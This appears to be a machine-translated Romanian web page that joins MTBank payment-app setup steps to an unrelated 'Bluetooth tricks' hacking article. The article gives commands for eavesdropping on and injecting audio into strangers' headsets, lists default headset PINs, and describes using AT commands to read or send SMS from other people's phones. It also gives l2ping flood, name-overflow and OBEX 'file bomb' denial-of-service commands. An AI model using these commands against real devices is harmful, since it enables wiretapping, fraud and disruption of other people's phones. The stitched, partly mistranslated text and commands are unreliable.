Punct important: mobilul dvs. trebuie să ruleze pe sistemul de operare Android versiunea 4.4. și mai mare, acceptă funcția NFC (Near Field Communication - sau schimbul de date pe distanță scurtă) și tehnologia HCE.

  1. Să ne înregistrăm. Pentru a face acest lucru, trebuie să introduceți numărul și CVC2 ale cardului dumneavoastră bancar MTBank. Vă rugăm să rețineți că cardul trebuie să aibă activată funcția de notificare prin SMS, deoarece din motive de securitate, vi se va cere să introduceți un cod de confirmare care va fi trimis prin SMS pentru înregistrare.
  2. Venim cu o parolă. 5-8 caractere care vă vor fi ușor de reținut, dar nu o combinație foarte simplă - totuși aceasta este și protecție. Folosind această parolă, puteți controla funcțiile aplicației mobile: schimbați codul PIN mobil existent, blocați/deblocați cardul în aplicație, ștergeți datele din aplicație.
  3. Creați un pin mobil. Este necesar pentru a confirma achizițiile plătite folosind un card într-un smartphone. O recomandare puternică este ca PIN-ul mobil să fie diferit de PIN-ul legat de cardul principal de plastic.
  4. Să activăm cardul. Pe ecran va apărea o listă a cardurilor dvs. MasterCard din MTBank care acceptă funcționalitatea de plată fără contact. Le selectăm pe cele de pe care vrem să plătim cu un smartphone, facem clic pe ele pentru a le activa. Puteți selecta nu numai un card, ci și mai multe dintre cardurile disponibile.
  5. Activați NFC pe smartphone-ul dvs. De îndată ce îl selectați din lista de carduri pe cel cu care doriți să efectuați o operațiune, aplicația vă va redirecționa automat către setările telefonului dvs. pentru a-l activa în dispozitiv mobil Modul NFC. Dacă doriți, puteți activa NFC în avans pentru a nu pierde nici măcar o secundă în plus la casă. TOATE! Acum poți plăti cu smartphone-ul tău!
  6. Efectuarea unei plăți. Momentul adevărului! Totul aici este simplu și intuitiv: selectăm din lista de carduri activate cu care în acest moment fondurile trebuie debitate, introduceți pinul mobil și aduceți smartphone-ul la terminalul cu tehnologie MasterCard contactless.

Avantajele noii tehnologii

  • Cu o nouă soluție inovatoare, introducerea unui card în smartphone este rapidă și convenabilă. Nu este nevoie să schimbați cartela SIM: trebuie doar să descărcați aplicația. Acum vă puteți lăsa în siguranță portofelul acasă.
  • Securizat: În aplicația MTBank HCE, datele sunt protejate în siguranță și fiecare tranzacție necesită introducere PIN mobil cod. Plata printr-o singură atingere cu un smartphone este la fel de sigură ca și cu un card bancar, dar, în același timp, aveți control complet asupra procesului de plată, deoarece nu trebuie să transferați instrument de plată la casierie.
  • Cele mai multe smartphone-uri moderne acceptă HCE. Suportul este disponibil în dispozitivele cu Android 4.4 și versiuni ulterioare, astfel de modele de telefoane populare precum Samsung Galaxy S4(S5), Sony Xperia etc. au capabilitățile necesare. HTC One, LG G4, Nexus 5 și multe altele.
  • În timp real, vezi toate achizițiile făcute folosind aplicația. Foarte util pentru planificarea unui buget familial.
  • CU card mobil Cu MasterCard, puteți călători în siguranță și puteți plăti pentru achiziții în Belarus și în alte țări - peste 4 milioane de platforme de tranzacționare din 72 de țări acceptă plăți fără contact MasterCard.
  • Tehnologia de plată fără contact se răspândește activ în Belarus și în întreaga lume. Până în 2020, suportul pentru plăți contactless va deveni un standard MasterCard pentru companiile europene de servicii și retail, iar consumatorii vor putea plăti cu carduri și dispozitive contactless la toate terminalele POS din Europa.

Iubitorii de inovație ar trebui cu siguranță să testeze noua aplicație

Toată lumea știe perfect asta cu ajutorul Bluetooth puteți transfera un fișier de la dispozitiv la dispozitiv sau puteți conecta o cască fără fir. Dar capacitățile sale nu se limitează la asta. Având instrumentul potrivit cu tine, poți crea adevărate minuni. Așa că de ce să nu te încerci ca magician?

Modul tehnologic încorporat Bluetooth(sau, mai formal, IEEE 802.15.3) a încetat de mult să mai fie o curiozitate. Costul modulului este atât de mic încât doar un producător leneș nu îl integrează într-un mobil, laptop sau PDA. Și chiar și atunci - din motive de marketing. Într-un cuvânt, Bluetooth Aproape toată lumea îl folosește. Dar doar câțiva știu că, folosind tehnologia, riscă să-și dezvăluie datele confidențiale. Dar să începem cu binele!

Trucul 1: Utilizați BT pentru a vă accesa computerul de la distanță

Odată, pentru o prezentare, am invitat un prieten cu picioare lungi să apese pe bara de spațiu pentru a răsfoi diapozitivele în Power Point. Această plăcere m-a costat un prânz scump și două ore de conversații goale cu fata Barbie. După aceea, m-am hotărât ferm: data viitoare voi rezolva problema lipsei telecomenzii într-un mod diferit. Și s-a plimbat folosind telefonul mobil! Da, da, chiar de pe telefon poți răsfoi slide-urile, controla muzica - și mai știe Dumnezeu ce. Principalul lucru este că modulele BT sunt instalate pe telefonul mobil și pe computer. Nu numai că vei economisi bani și efort, dar vei arăta și fără scuze la modă. Oricine folosește utilitarul poate demonstra un astfel de truc
Telecomanda Bluetooth
, care a fost actualizat recent la versiunea 3.0. Vă permite să vă controlați computerul de pe ecranul oricărui telefon mobil. Este foarte simplu. Un server special este instalat pe computer și un program client scris în Java este instalat pe telefon (este necesar MIDP 2.0). După configurarea unui circuit simplu, veți putea controla de la distanță mouse-ul și tastatura computerului. Și cel mai important, veți avea acces la desktopul de la distanță. Desktop la distanță real chiar de pe ecranul telefonului mobil! Ei bine, îți poți petrece timpul cu mult mai mult succes cu un prieten cu picioare lungi. Telecomanda Bluetooth util și aici: a pune
muzica romantica :).

Trucul 2: Controlul accesului folosind BT

Dacă lucrezi într-o cameră în care stau cu tine o duzină de colegi, probabil că a trebuit să-ți blochezi computerul atunci când mergi în altă cameră. Și ce? Înainte să ai timp să te îndepărtezi, cineva va scotoci deja prin hard disk-ul tău. Dispunerea nu este cea mai plăcută. În general, este imperativ să vă blocați computerul, întrebarea este cum? Poate fi folosit caracteristici standard Windows și introduceți o parolă lungă de zece ori pe zi. Sau fă-o frumos folosind tehnologia Bluetooth. Totul este la fel de simplu ca doi și doi. Te îndepărtezi de computer și se blochează imediat. Te întorci și lacătul a dispărut! Singura condiție: atât în ​​computer cât și în telefon mobil modulul trebuie instalat
Bluetooth, iar programul este instalat în sistem LockItNow(poți ușor). Cu toate acestea, puteți să le spuneți prietenilor și colegilor despre capabilitățile telepatice și apoi să vindeți secretul pentru bani :). Apropo, dacă nu aveți un modul BT la îndemână, îl puteți înlocui cu un telefon care acceptă „blue tooth” (conectați prin portul COM).

Trucul 3: Capturați traficul BT din aer

Stăpânirea începe cu înțelegerea. Ați vrut vreodată să vă uitați în interiorul protocolului și să aflați cum sunt schimbate datele prin „dintele albastru”? Ascultarea traficului Bluetooth poate fi executat doar „în interior”, adică traficul de ieșire și de intrare al nodului pe care ați emis comenzile este interceptat. În această chestiune, așa-numita interfață de controler gazdă (HCI) este de o importanță nu mică, ceea ce vă permite să accesați transmițătorul. Nodul HCI este de obicei conectat la nodul driver de dispozitiv Bluetooth(flux de intrare) și către nodul L2CAP (flux de ieșire). Platforma Windows nu oferă această caracteristică în mod implicit. Cu toate acestea dezvoltatori terți au fost eliberați
drivere speciali care permit converti un dongle standard într-un sniffer. În mod tradițional indicativ în acest sens este lucrarea Analizor de protocol Bluetooth fără fir FTS4BT, costând o grămadă de bani. Produsul este captivant pentru că susține noul Bluetooth v2.0 + EDR, pe baza cărora funcționează dispozitivele moderne și, în plus, este capabil să decodeze tot traficul din aer din mers, sortând cu atenție datele audio, protocolul aplicației și multe altele. Este clar că pentru sniffing (și în general) cele mai relevante sunt dongle-urile USB Clasa 1, a căror rază de acțiune ajunge la o sută de metri.

Trucul 4: Lucrul direct cu adaptorul BT

Pentru o lungă perioadă de timp Stivele Bluetooth pentru Windows au furnizat capacități atât de slabe că programatorii pur și simplu au evitat această platformă. Acest lucru explică faptul că majoritatea programelor pentru distracția serioasă „dinte albastru” sunt dezvoltate pentru platforma Nix. Ne vom uita la unele dintre trucurile complicate special pentru această platformă, și anume FreeBSD(Permiteți-mi să vă reamintesc că pe discul ediției anterioare am postat cea mai recentă versiune 7.0 a acestui sistem de operare). Tehnologia în sine Bluetooth oficial a început să fie suportat pe el abia din a 5-a ramură bazată pe subsistemul Netgraph. Mă bucur că majoritatea adaptoarelor USB sunt compatibile cu driverul ng_ubt (trebuie instalat înainte de a conecta dispozitivul). Să încercăm?

  1. Conectați dispozitivul: kldload ng_ubt
  2. Copiați scriptul de încărcare a stivei într-o locație convenabilă: cp /usr/share/examples/netgraph/bluetooth/rc.bluetooth /usr/local/etc/rc.bluetooth
  3. Copiați scriptul de încărcare a stivei într-un loc convenabil și rulați: sh /usr/local/etc/rc.bluetoots start ubt0

Acum vreau să vă prezint utilitarul hccontrol. Acesta este unul dintre principalele programe pentru lucrul cu modulul BT. Este cel care efectuează toate operațiunile legate de interfața HCI și are următoarea sintaxă: hccontrol –n<имя_hci_узла> <команда>. Să verificăm funcționalitatea dispozitivului nostru prin scanarea aerului pentru prezența dispozitivelor:

hccontrol –n ubt0hci Interogare

Ca rezultat, utilitarul va afișa informații despre dispozitivele găsite, inclusiv adresele MAC ale acestora. Trebuie remarcat faptul că fiecare dispozitiv Bluetooth, fie că este un set cu cască sau un telefon obișnuit, reprezintă un anumit set de servicii. Lista de bază include: CIP (Common ISDN Access), CTP (Cordless Telephony), DUN (dial-up networking), FAX (FAX), FTRN (Obex File Transwer), HSET (Headset), NAP (Network Access Point) . Pentru a afla ce servicii oferă un anumit dispozitiv, se utilizează o solicitare pe un protocol special SPD (Service Discovery Protocol). Serverul SPD rulează direct pe mașina gazdă și este o componentă pur informațională (nu poate fi afectată de
imposibil). Puteți determina ce servicii sunt furnizate de dispozitivele găsite folosind utilitarul corespunzător:

# spdcontrol -a răsfoiește

Trucul 5: Găsirea dispozitivelor ascunse

Așadar, am scanat transmisia și chiar am aflat ce servicii sunt disponibile pe dispozitivele active. Dar iată prinderea! Unele dispozitive nu își indică prezența în niciun fel deoarece sunt în „modul de nedescoperit” și nu răspund solicitărilor de difuzare. Pe baza setărilor telefonului, probabil că știți despre această opțiune de securitate. Cu toate acestea Este încă posibil să detectăm astfel de dispozitive!

Cea mai cunoscută metodă de detectare a acestora este enumerarea în forță brută a adreselor MAC, adică trimiterea secvențială a cererilor către diferite adrese de la anumit interval. Pentru a face acest lucru, trebuie să utilizați un utilitar foarte simplu Redfang, care iterează pe ultimii șase octeți ai adresei dispozitivului și detectează astfel dispozitivele ascunse.

O altă opțiune este utilizarea tehnici pasive: puneți dispozitivul în modul de așteptare, în timp ce atribuiți un nume atractiv rețelei:

hciconfig hci0 nume BT_YANDEX
hciconfig hci0 jos
hciconfig hci0 sus
hcidump -V | grep bdaddr

Ca urmare, vor fi afișate toate conexiunile primite, printre care pot fi cu ușurință camarazi cu identificatori ascunși.

Trucul 6: Interceptarea conversațiilor cu căștile din aer

Una dintre principalele amenințări ale tehnologiei radio este că datele pot fi interceptate. Primul lucru care îmi vine în minte în ceea ce privește Bluetooth este ascultați conversațiile persoanelor care folosesc căști. Și de multe ori este real! La festivalul hackerilor Ce Hackîn Olanda, specialiștii din grupul Trifinite au demonstrat cum, folosind un laptop cu Linux, un program special și o antenă direcțională, poți ascultați ce spune șoferul printr-o cască Bluetooth mașina care trece. Grupul a dezvoltat un program Soapta de masina(„Șoptătorul de mașini”). Capacitățile programului sunt relativ limitate: îi puteți asculta doar pe cei care au uitat să schimbe parolele de acces Bluetooth din fabrică, cum ar fi
„0000” sau „1234”. Dar crede-mă, există o mulțime de astfel de bieți! „Whisperer” este capabil să integreze și să „împerecheze” cu succes dispozitivele, primind informații transmise de pe card sau căști la telefonul mobil. Aș dori să vă atrag atenția: utilitarul vă permite nu numai să primiți informații transmise între căști și telefonul mobil, ci și să vă injectați propriile informații acolo. Am decis să testăm capacitățile acestui program prin descărcare Soapta de masina de pe site-ul dezvoltatorilor.

Clasa adaptor hciconfig 0x500204
#0x500204 este clasa „telefon”.

În caz contrar, unele dispozitive „inteligente” pot bănui că ceva nu este în regulă. Să ne uităm la sintaxa utilitarului, care arată astfel:

./carwhisperer „ceea ce injectăm în linie” „ceea ce captăm de pe linie” „adresa dispozitivului” [canal]

Am luat fișierul încorporat direct din folderul utilitar și am specificat out.raw ca rezultat:

./carwhisperer 0 mesaj.raw /tmp/out.raw
00:15:0E:91:19:73

Ieșirea este fișierul out.raw. Nu îl puteți asculta în forma sa pură: trebuie să îl convertiți în format audio, ceea ce va necesita utilitate suplimentară. Vor funcționa destul de multe convertoare audio, de exemplu:

raw –r 8000 –c 1 –s –w out.raw –t wav –r
44100 –c 2 out.wav

Pe lângă ascultare, vă puteți autentifica, vizualiza agenda telefonicași profitați de alte funcții hands-free cu Bluetooth. Principiul este următorul: în primul rând, dispozitivele active sunt căutate și verificate pentru serviciul HS (Head Set). Apoi, adresa MAC a dispozitivului este examinată și se încearcă o conexiune folosind cheie standard. Dacă conexiunea este stabilită, atunci puteți face orice doriți cu dispozitivul (în cadrul setului disponibil de comenzi AT).

În practică arată așa. În primul rând, toate căștile active sunt căutate folosind comanda „sdptool search HS”, care produce un răspuns similar cu acesta:

Întrebând...
Se caută HS pe 00:0A:3A:54:71:95...
Nume serviciu: cască
Service RecHandle: 0x10009
Lista ID-urilor clasei de servicii:
„Set cu cască” (0x1108)
„Audio generic” (0x1203)
Lista de descriptori de protocol:
„L2CAP” (0x0100)
„RFCOMM” (0x0003)
Canalul: 7
Lista de elemente de bază de limbă:
cod_ISO639: 0x656e
codificare: 0x6a
offset_de bază: 0x100
Lista de descriptori de profil:
„Set cu cască” (0x1108)
Versiune: 0x0100

În continuare, se încearcă deschiderea unei conexiuni RFCOMM la canalul audio SCO utilizând comanda „rfcomm connect 2 00:0A:3A:54:71:95 1” și trimițând comenzile AT necesare. Iată o scurtă notă statistică despre datele de autorizare pentru unele modele de căști fără fir:

Nokia (00:02:EE...) - pin="5475"
Audi UHV (00:0E:9F...) - pin="1234"
O"Neill (00:80:37...) - pin="8761"
Cellink (00:0A:94...) - pin="1234"
Eazix (00:0C:84...) - pin="1234"

Apropo, același principiu poate fi folosit pentru conexiune neautorizată și la toate celelalte dispozitive. Folosind comenzile AT și protocolul RFCOMM, puteți, de exemplu, să citiți un mesaj SMS sau chiar să-l trimiteți de pe telefonul altcuiva către număr plătit, punând proprietarul dispozitivului pe bani. Fii vigilent!

Trucul 7: dispozitive DDoS BT

Abordarea este tradițională. DDoS poate fi realizat într-adevăr atunci când dispozitivul gazdă („master”) efectuează o activitate de multe ori mai mare decât cea a clientului. Această situație se numește atac Denial Of Service. Poate închide telefonul sau poate cauza descărcare rapidă baterii. Există mai multe moduri de a efectua un atac. Să începem cu mijloace standard. Cel mai evident lucru este să ping dispozitivul cu pachete mari. Acest lucru se poate face prin specificarea steagului „-s” la utilitarul l2ping:

# l2ping -s 10000 -b „adresă MAC”

Programul în sine, după cum ați înțeles deja, este o rudă a ping-ului într-un mediu Bluetooth și servește pentru a verifica comunicațiile și prezența unei conexiuni. O altă metodă, fundamental diferită de prima, este să folosești tehnica „fuzzing” - un fel de tehnică de loterie, deoarece nu se știe dinainte ce se va întâmpla. Aceasta este o nouă tendință în identificarea vulnerabilităților în produse fără a analiza codurile sursă. Tehnica se bazează doar pe comunicarea interactivă cu un obiect într-un limbaj pe care îl înțelege, dar cu argumente absolut haotice și cu valori variabile. Sarcina unui hacker ar fi să se asigure că numele vizibil al telefonului este compus din suficient număr mare elemente. Când este detectat de „master” în 70%
cazuri în care are loc o depășire sau refuz de serviciu:

hciconfig hci0 nume `perl -e "print "ash" x 3137"`
# Comanda Linux
hccontrol –n adaptor change_local_name „nume nou”)
# exemplu pentru FreeBSD

Multe telefoane încă nu pot procesa fișierele bombe. Iată o implementare simplă a unei astfel de tehnici.

  1. În primul rând, este pregătită o „bombă”. Exemplu celebru:
    echo `perl -e 'print "skvz" x 3137'` > fișier
  2. Apoi utilizați un utilitar modificat pentru a interacționa cu OBEX - USSP PUSH (xmailserver.org/ussp-push.html)
    ./obextool push file 00:0A:3A:54:71:95 `perl -e 'print "skvz" x 3137'` 3
  • Serghei Savenkov

    un fel de recenzie „scurtă”... de parcă s-ar grăbi undeva